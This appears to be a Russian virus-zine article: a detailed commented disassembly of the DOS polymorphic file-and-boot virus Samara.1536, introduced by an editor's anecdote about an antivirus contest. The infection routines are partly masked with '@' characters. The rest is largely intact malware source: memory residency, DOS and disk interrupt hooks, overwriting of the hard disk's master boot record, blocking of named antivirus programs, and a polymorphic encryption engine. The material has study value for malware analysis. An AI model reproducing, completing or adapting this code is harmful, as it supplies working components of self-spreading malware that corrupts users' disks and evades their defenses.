Анализ вируса Samara
by CrkV
; От редактора-составителя:
; У этого вируса забавная судьба. Всю 1-ю половину 1998 г. А. Гостев
; искал вирус для очередного этапа конкурса антивирусных программ,
; проводившегося в 1997-98 гг. в конференции relcom.comp.virus.
; К потенциальному объекту издевательств предъявлялись требования:
; новый, несложный, файлово-загрузочный, полиморфный. Был кинут клич
; по Релкому и Интернету... но тщетно. Вири присылались либо битые,
; либо давно и хорошо известные. Дошло до того, что я напечатал и
; повесил на стенке в Самарском Аэрокосмическом Универе объявление
; с просьбой поискать. И буквально через пару недель Админу именно
; из Самары прислали subj (он, хитрюга, вычислил посылальщика по
; заголовку мыла J.
; Но конкретный автор до сих пор неизвестен. В дикой природе (в Самаре)
; вируса не было и нет. Я приблизительно знаю профессиональный уровень
; тех, кто мог бы написать subj и заявляю: это не они... J Может,
; вирус вытянули откуда-нибудь из Интернета, и город Самара прославлен
; напрасно? J Авторы (-ы), откликнитесь !
;
; P.S. Но вот CrkV прислал настолько подробно откомментированный текст,
; что поневоле возникают разные мысли... J))
;
; P.P.S. Принцип журнала ЗФ по-прежнему соблюдается: наиболее опасные
; фрагменты текста по согласию с CrkV заполнены символом '@'.
; DrMad
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Позволю представить на суд публики конкурсный вирь Samara.1536.
;К сожалению материалы для конкурса я не получил, хотя свое желание принять
;участие, я изъявлял.
;
;Вирус Samara.1536 (дизассемблирован 20.12.1998 (c) by CrkV)
;Не подумайте что его написал я, посмотрев на названия меток, данных
;и подпрогпрограмм, просто я люблю порядок J))) Я не удивлюсь, если
;мой текст вируса будет полнее и нагляднее авторского.
; CrkV
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
.186
.model tiny
.code
Org 100h
Samara:
; jmp $ + 1Bh
db 0E9h,2Dh,00h,90h,01h,0CDh,21h,0C3h
db 'This file infected by virus SAMARA.1536$'
;Начало вирусного кода. Первая полиморфная часть отвечает за расшифроку
;остального вирусного кода.
EntryPoint:
db 3Eh,3Eh
Xor Byte Ptr Ds:[730h],98h
Inc Word Ptr Ds:[134h]
db 26h,26h
Cmp Word Ptr Ds:[134h],730h
db 3Eh,26h,3Eh,26h,26h,3Eh
Adr_Jxx EQU $ - Offset EntryPoint
Jnz EntryPoint
Size1p EQU $ - Offset EntryPoint
;основной код вируса
Mov Bp,Offset EntryPoint - 100h
SizePrg = Word Ptr $ - 2 - Offset EntryPoint
PushA
Push Ds Es
Mov Ah,99h
Int 21h
Cmp Ah,66h ;резидент установлен ?
Jnz @Not_Installed
Jmp @All_Installed
@Not_Installed:
Push Es
Mov Ax,3521h
Int 21h ;дать адрес Int 21h
Mov Cs:[Bp+Ofs21h],Bx
Mov Cs:[Bp+Seg21h],Es
Pop Es
@Get_Memory:
;--------- Memory Control Block structure --------------
MCB struc
MCB_sig db ? ; 'Z' or 'M'
MCB_owner dw ? ; attribute of owner
MCB_size dw ? ; size of MCB block
MCB_name db 8 dup(?) ; file name of owner
MCB ends
;-------------------------------------------------------
Mov Ah,48h
Mov Bx,102h ;?? (можно и меньше)
Int 21h ;запросить блок памяти
Jnc @Alloc_Mem
Push Es ;отсутствует блок нужного размера
Mov Ax,Es ;Ax - PSP
Dec Ax
Mov Es,Ax ;MCB блок (предшествует PSP)
Mov Bx,Es:[03h] ;размер блока
Sub Bx,104h ;?? (можно было и 103h)
Pop Es
Mov Ah,4Ah
Int 21h ;уменьшаем размер текущего блока
Jmp @Get_Memory
@Alloc_Mem:
Dec Ax
Mov Es,Ax ;MCB полученного блока
Mov Word Ptr Es:[01h],08h ;объявляем себя системным блоком
Inc Ax
Mov Es,Ax
Push Ax ;признак зараженной MBR
Mov Byte Ptr Cs:[NewMBR+Bp+103h],00h
Mov Byte Ptr Cs:[NewMBR+Bp+104h],80h
;эффективнее было бы загружать сразу слово
;?? Mov Word Ptr Cs:[NewMBR+Bp+103h],8000h
Mov Cx,VirLenght
Push Cs
Pop Ds
Sub Di,Di ;Di=0
Lea Si,[Bp+100h] ;Si- начало вирусного кода
Cld
Rep MovSB ;копируем вирус в память
Pop Ds
Mov Ax,2521h
Mov Dx,Offset New21h ;устанавливаем свой обработчик
Int 21h ;вектора 21h (функции DOS)
;далее следует часть, инфицирующая MBR
Mov Ah,13h ;получить Int 13h (Ds:Dx)
Int 2Fh ;(предыдущий вызов при загр. сист.)
Mov Ax,2566h ;устанавливаем вектор 66h
Int 21h ;на обработчик Int 13h
Mov Ah,13h
Int 2Fh ;восстановить DS:DX и ES:BX
Mov Ax,0201h ;читаем 1-й сектор
Mov Cx,01h
Mov Bx,VirLenght ;Es:Bx - адрес буфера
Call Int13h ;(следует за вирусным кодом)
Mov Cx,40h ;сохраняем часть оригинальной MBR
Mov Si,VirLenght + 1BEh ;(таблицу разделов диска) в теле
Mov Di,VirLenght + 1BEh - 200h;вируса
Repe MovSB ;Ds:Si - > Es:Di
Mov Ax,0303h ;записываем тело вируса (Es:Bx)
Mov Cx,02h ;в 3 сектора, следующие за MBR (2)
Sub Bx,Bx
Call Int13h
Mov Ax,0301h ;записываем MBR из тела вируса
Mov Cx,01h
Mov Bx,400h
Call Int13h
@All_Installed:
Cmp Byte Ptr Cs:[Bp+SaveBuf],'M' ;EXE - файл ? 'MZ'
Je @Exit_Exe
Cmp Byte Ptr Cs:[Bp+SaveBuf],'Z' ;'ZM'
Je @Exit_Exe
Mov Ax,Cs:[Bp+SaveBuf] ;восстанавливаем первые 4 байта
Mov Cs:[100h],Ax ;COM - программы
Mov Ax,Cs:[Bp+SaveBuf+2]
Mov Cs:[102h],Ax
Pop Es Ds
PopA
Push 100h ;уходим на начало файла
Ret
@Exit_Exe:
Pop Es Ds
Mov Ax,Es ;PSP
Add Ax,10h
Add Cs:[SegExe+Bp+100h],Ax ;корректируем адрес перехода
PopA
Jmp $ + 2 ;сбрасываем очередь команд
db 0EAh ;Jmp Far Seg:Ofs
OfsExe = Word Ptr $ - Offset EntryPoint
dw 0000h
SegExe = Word Ptr $ - Offset EntryPoint
dw 2071h
;-------------- обработчик Int 24h ---------------------
New24h EQU $ - Offset EntryPoint
Mov Al,03h ;(F)ail
IRet
;-------------- обработчик Int 21h ---------------------
New21h EQU $ - Offset EntryPoint
PushF
PushA
Cmp Ah,99h ;проверка резидента ?
Jnz @Not_Check
Call @Check
@Not_Check:
Cmp Ax,4B00h ;а может кто-то хочет программу
Jnz @Not_Exec ;запустить ?
Call Exec
@Not_Exec:
PopA
PopF
db 0EAh ;Jmp Far Seg:Ofs
Ofs21h = Word Ptr $ - Offset EntryPoint + 100h
dw 0FB2h
Seg21h = Word Ptr $ - Offset EntryPoint + 100h
dw 0C9h
@Check: Pop Ax
PopA
PopF
Mov Ah,66h ;- Да я уже давно в памяти !!!
Iret
@Antivir_Exec:
Pop Dx
Pop Ds
Jmp @Check ;не запускаем антивирусы
;-------------------------------------------------------
Int13h Proc
Mov Dx,80h ;первый жесткий диск
Int 66h ;Int 13h
Ret
Int13h EndP
;-------------------------------------------------------
WriteF Proc
;записывает данные в файл Ds:Dx - буфер, Cx - размер
Mov Ah,40h
Int 21h
Ret
WriteF EndP
;-------------------------------------------------------
WriteVr Proc
;шифрует вирус и дописывает его к концу файла
Call Shifr
Mov Dx,VirLenght
Mov Cx,VirLenght
Call WriteF
Ret
WriteVr EndP
;-------------------------------------------------------
SetFP Proc
;устанавливает указатель записи в файл
Mov Ah,42h
Sub Cx,Cx
Sub Dx,Dx
Int 21h
Ret
SetFP Endp
;-------------------------------------------------------
SaveSz Proc
;Сохраняет размер файла в пременной Save2w (Size + PSP)
;Si = SaveBuf + 100
Mov [Si+Offset Save2w - SaveBuf + 100h],Ax
Add [Si+Offset Save2w - SaveBuf + 100h],100h
Ret
SaveSz EndP
;-------------------------------------------------------
Exec Proc
;блокирует выполнение антивирусов, если может то заражает
Push Ds
Push Dx
Mov Bx,Dx
@Next_Byte:
Cmp Byte Ptr [Bx],00h ;End Name
Jz @End_Name
Inc Bx
Jmp @Next_Byte
@End_Name:
;здесь проверяется 5 и 6 байт (с конца) имени запускаемой программы.
;Эффективнее было бы использование команды ScaSW.
Mov Ax,[Bx-06h]
Cmp Ax,444Eh ;'ND' - COMMA~ND~.COM
Je @Exec_Command
Cmp Ax,4554h ;'TE' - AVPLI~TE~.EXE
Je @Antivir_Exec
Cmp Ax,5453h ;'ST' - AIDSTE~ST~.EXE
Je @Antivir_Exec
Cmp Ax,5056h ;'VP' - A~VP~.EXE
Je @Antivir_Exec
Cmp Ax,4245h ;'EB' - DRW~EB~.EXE
Je @Antivir_Exec
Cmp Ax,4E41h ;'AN' - MSC~AN~.EXE
Je @Antivir_Exec
Push Es
Mov Ax,3524h
Int 21h ;дать адрес обработчика кр.ош. Int 24h
Mov Si,Bx
Mov Di,Es
Pop Es
Push Ds Dx
Mov Ax,2524h
Push Cs
Pop Ds
Mov Dx,Offset New24h
Int 21h ;устанавливаем вектор 24h
Pop Dx Ds
Mov Ax,4301h
Sub Cx,Cx
Int 21h ;очищаем атрибуты файла
PushF
Push Ds Dx
Mov Ax,2524h
Mov Ds,Di
Mov Dx,Si
Int 21h ;восстанавливаем Int 24h
Pop Dx Ds
PopF
Jnc @Ok
@Exec_Command:
Jmp @Exit_Infect2
@Ok: Mov Ax,3D02h
Int 21h ;открываем файл в режиме (чт./зп.)
Mov Bx,Ax ;Ax - Handle файла
Push Cs
Pop Ds
Mov Si,Offset SaveBuf - 100h
Mov Ah,3Fh
Mov Cx,18h
Mov Dx,Si
Int 21h ;читаем первые 24 байта файла
Cmp Byte Ptr [Si],'M' ;проверяем формат файла
Je @Exe_Format
Cmp Byte Ptr [Si],'Z'
Je @Exe_Format
Cmp Byte Ptr [Si+3],90h ;возможно инфицирован ?
Jne @Infected_Com ;(четвертый байт 90h)
Jmp @Exit_Infect
@Infected_Com:
@@@ @@,@@@ ;устанавливаем указатель файла в конец
@@@@ @@@@@ ;получаем в Dx:Ax - размер файла
@@@ @@,@@@@@@ - @@@@@@@@@
@@@ @@@@@@@@
jmp @Exit_Infect ;файл большой, трогать не будем
@Size_Ok:
@@@ @@:@@@@@@@,@@
@@@@ @@@@@@
@@@ @@,@@@ ;вычисляем смещение вируса в файле
@@@ @@:@@@@@@@,@@ ;(адрес для перехода)
@@@@ @@@@@@@
@@@ @@,@@
@@@@ @@@@@ ;устанавливаем указатель на начало
@@@ @@,@@@@@@ @@@@@@@
@@@ @@,@
@@@@ @@@@@@ ;модифицируем начало файла
Jmp @Exit_Infect
@Exe_Format:
;-------------------------------------------------------
Exe_Header STRUC
EH_Signature dw ? ; Set to 'MZ' or 'ZM' for .exe files
EH_Modulo dw ? ; remainder of file size/512
EH_Size dw ? ; file size/512
EH_Reloc dw ? ; Number of relocation items
EH_Size_Header dw ? ; Size of header in paragraphs
EH_Min_Mem dw ? ; Minimum paragraphs needed by file
EH_Max_Mem dw ? ; Maximum paragraphs needed by file
EH_SS dw ? ; Stack segment displacement
EH_SP dw ? ; Stack Pointer
EH_Checksum dw ? ; Checksum, not used
EH_IP dw ? ; Instruction Pointer of Exe file
EH_CS dw ? ; Code segment displacement of .exe
eh_1st_reloc dw ? ; first relocation item
eh_ovl dw ? ; overlay number
Exe_Header ENDS
;-------------------------------------------------------
cmp Byte Ptr [Si+12h],66h ;проверяем признак заражения EXE
Jnz @Ok_Exe ;(в поле Checksum - 66h)
Jmp @Exit_Infect
@Ok_Exe:
@@@ @@,@@@@@@@@ ;запоминаем смещение для Cs
@@@ @@@@@@@@@,@@
@@@ @@,@@@@@@@@ ;запоминаем значение Ip
@@@ @@@@@@@@@,@@
@@@ @@,@@@ ;устанавливаем указатель на конец файла
@@@@ @@@@@ ;получаем в Dx:Ax размер файла
@@ @@,@@ ;больше 65535 байт ?
@@ @@@@@@@@@ ;не знаю почему, но автор не захотел
Jmp @Exit_Infect ;заражать большие EXE-файлы
@Size_Ok2:
@@@ @@,@@@@@@@@@@@@@@@@@@
@@ @@@@@@@@@
Jmp @Exit_Infect ;файл большой, трогать не будем
@Size_Ok3:
@@@@ @@@@@@
@@@ @@,@@@@@@@@
@@@ @@, ;размер заголовка
@@@ @@@@@@@@,@@ ;вычисляем размер кода программы
@@@@ @@ @@
@@@ @@,@@@
@@@ @@ ;Ax - размер файла в параграфах
@@@ @@,@@@@@@@@
@@@ @@@@@@@@,@@ ;Адрес перехода на вирус (Cs:Ip)
@@@ @@@@@@@@,@@
@@@ @@,@@@@
@@@ @@:@@@@@@@,@@
@@@ @@ @@
@@@ @@,@@@@
@@@ @@ ;Ax - размер файла в 512 байтных кусках
@@ @@,@@
@@ @@@@@@_@@@
@@@ @@
@Equal_512:
@@@ @@,@@@@@@@@ ;проверяем соответствие размера файла
@@ @@@@@@@@@@@@@ ;с данными из заголовка
@@@ @@@@@@@@@@@@ ;(т.е. возможное присутствие оверлеев)
@Size_Not_Ovl:
@@@ @@,@@@@@@@@
@@ @@@@@@@@@@@@@@
@@@ @@@@@@@@@@@@
@Size_Not_Ovl2:
@@@@ @@@@@@@
@@@ @@,@@@ ;устанавливаем указатель на конец файла
@@@@ @@@@@ ;получаем в Dx:Ax - размер файла
@@@ @@,@@@@ ;вычисляем размер в 512 параграфах
@@@ @@
@@ @@,@@
@@ @@@@@@@@@@@@
@@@ @@
@Equal_512_2:
@@@ @@@@@@@@,@@ ;размер проги в заголовке
@@@ @@@@@@@@,@@
@@@ @@,@@ ;устанавливаем указатель на начало файла
@@@@ @@@@@
@@@ @@@@@@@@@@@@@@@@@,@@@ ;метка вируса
@@@ @@,@@@
@@@ @@,@@
@@@@ @@@@@@ ;записываем новый заголовок
@Exit_Infect:
Mov Ah,3Eh
Int 21h ;закрываем файл
@Exit_Infect2:
Pop Dx Ds
Ret
Exec EndP
;-------------------------------------------------------
First4b EQU $ - Offset EntryPoint
db 0E9h ;команда перехода на начало вируса
SaveOfs = Word Ptr $ - Offset EntryPoint
dw 2Dh
db 90h ;метка вируса
;-------------------------------------------------------
Shifr Proc
PushA
Push Es Ds Cs
Pop Ds
Push Cs
Pop Es
Mov Ax,VirLenght
Push Ax Ax Ax
Add Ax,Ds:Save2w ;адрес основного кода вируса
Mov Ds:EndSA,Ax
Mov Si,00h
Pop Di
Mov Cx,VirLenght
Cld ;копируем в память вторую копию
Repe MovSB ;вируса, сразу за первой
Mov Ah,2Ch
Int 21h ;получить текущее время (Random)
Mov Ds:RandPar,Dx ;Dh - секунды, Dl - 1/100с
Pop Di
Mov Cx,Size1P ;заполняем первую часть префиксами
@Loop_Random:
Rol Dx,1 ;проверяем 1 в старшем разряде
Jc @Es_Random
Mov Al,3Eh ;Ds:
Jmp @Next_Random
@Es_Random:
Mov Al,26h ;Es:
@Next_Random:
StoSB
Loop @Loop_Random
Pop Di
Call Random3
Push Di
Mov Bp,3 ;получить случайное число (0,1,2)
Call Random
Cmp Ax,1 ;выбираем команду, которую будем
Jc @Ran_Xor ;использовать для шифрования
Jz @Ran_Add
Mov Si,Offset C_Sub
Mov Byte Ptr Ds:C_Gener,00h ;Sub
Jmp @Ran_Cont
@Ran_Add:
Mov Si,Offset C_Add
Mov Byte Ptr Ds:C_Gener,28h ;Add
Jmp @Ran_Cont
@Ran_Xor:
Mov Si,Offset C_Xor
Mov Byte Ptr Ds:C_Gener,30h ;Xor
@Ran_Cont:
Mov Cx,5 ;Si - адрес, выбранной команды
Rep MovSB
Mov Ax,Ds:RandPar ;устанавливаем значение первого
Mov [Di-01h],Al ;байта для шифрования
Mov Bp,Ds:Save2w ;адрес в памяти с которого
Add [Di-03h],Bp ;начнется шифрование основного кода
Call ShifrVr
Call Random3 ;аналогично предыдущей части,
Mov Bp,3 ;выбираем команду для изменения
Call Random ;адреса шифруемого байта из:
Cmp Ax,1
Jb @Ran_Inc
Je @Ran_Add1
Mov Si,Offset C_Sub1 ;Sub (- 1)
Mov Cx,6
Mov Bx,0FFFCh
Jmp @Ran_Cont2
@Ran_Add1:
Mov Si,Offset C_Add1 ;Add 1
Mov Cx,6
Mov Bx,0FFFCh
Jmp @Ran_Cont2
@Ran_Inc:
Mov Si,Offset C_Inc ;Inc
Mov Cx,4
Mov Bx,0FFFEh
@Ran_Cont2:
Repe MovSB ;Cx - длина команды, Si - адрес
Pop Bp
Add Bp,0FA02h ;вычисляем адрес, на котором
Add Bp,Ds:Save2W ;закончится шифрование
Mov [Bx+Di],Bp
Push Bp
Call Random3
Mov Si,Offset C_Cmp
Mov Cx,6
Rep MovSB
Pop Bp ;записываем этот адрес
Mov [Di-04h],Bp ;в команду Cmp
Mov Di,VirLenght + Offset Adr_Jxx
Mov Bp,2
Call Random ;выбираем команду для продолжения
Or Ax,Ax ;цикла расшифровки:
Jz @Ran_Jnz
Mov Si,Offset C_Jc ;Jc
Jmp @Ran_Cont3
@Ran_Jnz:
Mov Si,Offset C_Jnz ;Jnz
@Ran_Cont3:
Mov Cx,2
Repe MovSB
Cmp Byte Ptr Ds:[VirLenght],80h ;??
Je @Met
Add [Di-1],Al
@Met: Pop Ds Es
PopA
Ret
Shifr EndP
;-------------------------------------------------------
ShifrVr Proc
;подпрограмма шифрации вирусного кода
Mov Si,VirLenght + Size1p
Mov Cx,VirLenght
C_Gener = Byte Ptr $ - Offset EntryPoint
@LoopSV:Sub [Si],Al ;Xor,Add
Inc Si
Loop @LoopSV
Ret
ShifrVr EndP
;-------------------------------------------------------
Random3 Proc
;генерирует случайное число [0;2], результат в Ax
Mov Bp,3
Call Random
Add Di,Ax
Ret
Random3 Endp
;-------------------------------------------------------
Random Proc
;генерирует случайное число [0;Bp-1], результат в Ax
Mov Bx,Offset RandPar
Mov Ax,[Bx]
Mov Cx,25h
Mul Cx
Mov [Bx],Ax
Sub Dx,Dx
Div Bp
Xchg Ax,Dx
Ret
Random Endp
;-------------------------------------------------------
C_Xor EQU $ - Offset EntryPoint
Xor Byte Ptr Ds:[1Bh],00h
C_Add EQU $ - Offset EntryPoint
Add Byte Ptr Ds:[1Bh],00h
C_Sub EQU $ - Offset EntryPoint
Sub Byte Ptr Ds:[1Bh],00h
C_Inc EQU $ - Offset EntryPoint
Inc Word Ptr Ds:[0000h]
C_Add1 EQU $ - Offset EntryPoint
Add Word Ptr Ds:[0000h],1234h
Org $ - 2 ;генерируем длинную команду
dw 1 ;для совместимости кода J)
C_Sub1 EQU $ - Offset EntryPoint
Sub Word Ptr Ds:[0000h],1234h
Org $ - 2 ;генерируем длинную команду
dw - 1 ;для совместимости кода J)
C_Cmp EQU $ - Offset EntryPoint
Cmp Word Ptr Ds:[0000h],730h
EndSA = Word Ptr $ - 2 - Offset EntryPoint
C_Jc EQU $ - Offset EntryPoint
db 72h,0E5h
C_Jnz EQU $ - Offset EntryPoint
db 75h,0E5h
SaveBuf EQU $ - Offset EntryPoint + 100h
db 18h Dup (?)
RandPar = Word Ptr $ - Offset EntryPoint;3FBh
dw ?
Save2w = Word Ptr $ - Offset EntryPoint;3FDh
dw ?
db 90h ;Align
;здесь находится сектор MBR (512 байт)
;-------------------------------------------------------
Boot_Sector STRUC
bs_Jump db 3 dup(?)
bs_Oem_Name db 8 dup(?)
bs_Bytes_Per_Sector dw ?
bs_Sectors_Per_Cluster db ?
bs_Reserved_Sectors dw ?
bs_FATs db ? ; Number of FATs
bs_Root_Dir_Entries dw ? ; Max number of root dir entries
bs_Sectors dw ? ; number of sectors; small
bs_Media db ? ; Media descriptor byte
bs_Sectors_Per_FAT dw ?
bs_Sectors_Per_Track dw ?
bs_Heads dw ? ; number of heads
bs_Hidden_Sectors dd ?
bs_Huge_Sectors dd ? ; number of sectors; large
bs_Drive_Number db ?
bs_Reserved db ?
bs_Boot_Signature db ?
bs_Volume_ID dd ?
bs_Volume_Label db 11 dup(?)
bs_File_System_Type db 8 dup(?)
Boot_Sector ENDS
;-------------------------------------------------------
NewMBR EQU $ - Offset EntryPoint
VirMBR EQU $
Jmp Short @Start_Boot
Nop
db 00h,80h,'WIN4.0' ;OEM имя
dw 200h ;байтов в секторе
db 001h ;кол-во секторов в кластере
dw 001h ;зарезервированных секторов
db 002h ;кол-во FAT
dw 0E0h ;макс. кол-во элементов в корневом кат.
dw 960h
db 0F9h
dw 007h
dw 00Fh
dd 002h
dw 000h
@Start_Boot:
Cli ;запрещаем прерывания
Sub Ax,Ax ;Ax=0
Mov Ds,Ax
Mov Ss,Ax
Mov Sp,7C00h ;уст. ук. стека перед загрузчиком
Mov Si,Sp
Mov Ax,Ds:[13h*4] ;получаем Int 13h
Mov Ds:[7C00h+Int_13h_Ofs],Ax
Mov Ax,Ds:[13h*4][2]
Mov Ds:[7C00h+Int_13h_Seg],Ax
Mov Ax,Ds:[413h] ;уменьшаем размер памяти
Sub Ax,4 ;на 4 кб.
Mov Ds:[413h],Ax ;?? (Sub Word Ptr Ds:[413h],4)
Mov Cl,06h ;вычисляем сегментый адрес кода
Shl Ax,Cl
Mov Es,Ax
Mov Cx,100h
Sub Di,Di
Cld
PushA
Repe MovSW ;копируем 512 байт в Es:0
PopA
Mov Di,VirLenght ;копируем 2-ой раз
Repe MovSW ;после тела
Sti
Push Ax
Push 1234h
Org $ - 2 ;генерируем длинную команду
dw Offset @Adr_MBR_Mem - VirMBR ;для совместимости кода J)
Retf ;переходим на SegVir:AdrMBR
@Adr_MBR_Mem:
;дальше идут такие навороты J), поэтому, если я не понял, что
;тут имелось в виду, "звиняйте хлопцы".
Cmp Byte Ptr Cs:[0004h],80h ;MBR содержит признак заражения ?
Je @MBR_VIR
Mov Ax,0202h ;считываем 2 сектора Es:200h
Mov Bx,200h
Sub Dx,Dx
Call GetSect
Call Int13h3
Push Ds
Pop Es ;Es=0
Mov Ax,0201h ;считываем MBR
Mov Bx,Sp ;по адресу 0:7C00h
Call SetHD
Call Int13h3
Cmp Byte Ptr Ds:[7C01h],33h ;??
Jnz @Exit_Vir
@@@ @@@@@@@@@@@@@@@@@@@,@@@ ;в MBR записываем признак заражения
@@@@ @@
@@@ @@
@@@ @@,@@@@@@@@@@@@@@ ;сохраняем таблицу разделов диска
@@@ @@,@@@@@@@@ ;(Ds=0)
@@@ @@,@@@
@@@
@@@@ @@@@@
@@@ @@,@@@@@ ;записываем себя в 3 сектора
@@@ @@,@@ ;после MBR
@@@@ @@@@@
@@@@ @@@@@@@
@@@ @@,@@@@@ ;записываем еще раз MBR
@@@ @@,@@@ ;в 4 сектор
@@@@ @@@@@@@
Jmp Short @All_Read
Nop
@MBR_VIR:
Mov Ax,0203h ;считываем 3 сектора
Mov Bx,0200h ;по адресу SegVir:200h
Call SetHD
Inc Cx
Call Int13h3
@All_Read:
Push Ds
Pop Es
Mov Ax,0201h ;считываем MBR
Mov Bx,07C00h ;по адресу 0:7C00h
Call SetHD
Inc Dh
Call Int13h3
Mov Ds:[13h*4],New13h ;устанавливаем Int 13h
Mov Ds:[13h*4][2],Cs
@Exit_Vir:
db 0EAh ;Jmp Far Seg:Ofs
dw 7C00h ;уходим по адресу 0:7C00h
dw 0000h
;-------------------------------------------------------
GetSect Proc
;проверяет тип носителя и возвращает в Cx номер сектора
Mov Cl,Cs:[15h] ;дескриптор носителя
Cmp Cl,0F9h
Mov Cx,04h
Je @Sect_N6
Ja @Sect_N4
Inc Cx ;в Cx вернем 8
Inc Cx
@Sect_N6:
Inc Cx
Inc Cx
@Sect_N4:
Ret
GetSect EndP
;-------------------------------------------------------
SetHD Proc
Mov Cx,01h ;первый сектор
Mov Dx,80h ;HDD
Ret
SetHD EndP
;-------------------------------------------------------
Int13h2 Proc
;вызов сохранненого Int 13h
PushF
Call DWord Ptr Cs:[Int_13h_Ofs]
Ret
Int13h2 EndP
;-------------------------------------------------------
Int13h3 Proc
;выполняем Int 13h, при ошибке повторяем вызов 3 раза
Push Bp
Mov Bp,03h ;счетчик повторений при ошибке
Push Ax
@Povtor_Int13h:
Pop Ax
Push Ax
Call Int13h2 ;Int 13h
Jnc @Ok_Int13h ;проверяем флаг ошибки
Sub Ax,Ax ;сброс дисковой подсистемы
Call Int13h2
Dec Bp
Jnz @Povtor_Int13h ;пытаемся повторить операцию
Stc ;устанавливаем флаг ошибки
@Ok_Int13h:
Pop Ax
Pop Bp
Ret
Int13h3 EndP
;-------------- обработчик Int 13h ---------------------
New13h EQU $ - VirMBR
Cmp Dx,01h
Ja @Prov_Int21h
Cmp Ah,02h ;функция считывания секторов ?
Jne @Orig_Int13h
Cmp Cx,01h ;1-й сектор (MBR)?
Jne @Orig_Int13h
Call Int13h2 ;пытаемся считать
Jc @Exit_Int13h
Cmp Byte Ptr Es:[5D8h+Bx],0EAh ;??
Je @Exit_Int13h
PushA
Mov Si,5
Mov Cx,1Bh
@Loop:
Mov Al,Es:[Bx+05h] ;копируем в память считанный сектор
Mov Cs:[Si],Al ;(1Bh байт, начиная с 5, игнорируем
Inc Si ;переход и 2 байта OEM-имени)
Inc Bx
Loop @Loop
@@@ @@:@@@@@,@@ ;Cl-0 (loop) метка вируса
@@@@ @@ @@
@@@ @@
@@@ @@,@@:@@@@@ ;сохраняем первые 2 байта OEM-имени
@@@ @@:@@@@@,@@
@@@ @@,@@@@@ ;записываем MBR
@@@ @@,@@
@@@ @@
@@@@ @@@@@@@
@@@ @@:@@@@@,@@ ;восстанавливаем
@@@ @@,@@@@@ ;записываем следующие 2 сектора
@@@ @@,@@@@
@@@@ @@@@@@@
@@@@ @@@@@@@
@@@ ;очищаем флаг Carry (CF=0)
@@@ @@
PopA
@Exit_Int13h:
RetF 02h ;оставляем флаги
@Orig_Int13h:
db 0EAh ;Jmp Far Seg:Ofs
Int_13h_Ofs EQU $ - VirMBR
dw 0B494h
Int_13h_Seg EQU $ - VirMBR
dw 0F000h
@Prov_Int21h:
Call Int13h2 ;вызываем Int 13h
PushF
Jc @Exit_Int13h2 ;ошибка
Cmp Byte Ptr Es:[Bx],40h
Jne @Exit_Int13h2
Cmp Byte Ptr Cs:[03h],00h ;Int 21h перехватили ?
Jne @Exit_Int13h2
Mov Byte Ptr Cs:[03h],01h ;устанавливаем признак Int 21h
Push Ds
PushA
Sub Ax,Ax
Mov Ds,Ax ;Ds=0
Mov Bx,31Eh ;?? копируем адрес Int 21h
Mov Si,21h*4
Mov Ax,[Si]
Mov Cs:[Bx],Ax
Mov Ax,[Si+02h]
Mov Cs:[Bx+02h],Ax
Mov Word Ptr [Si],New21h ;устанавливаем Int 21h
Mov [Si+02h],Cs
Add Word Ptr [Si+02h],20h ;корректируем сегмент на 512 байт
PopA
Pop Ds
@Exit_Int13h2:
PopF
Jmp @Exit_Int13h
;сохраняем часть оригинальной MBR (таблицу разделов диска)
OrigMBR EQU $ - Offset EntryPoint
OrigMBR2 EQU $ - VirMBR
db 40h Dup (?),55h,0AAh
VirLenght EQU $ - Offset EntryPoint
End Samara
|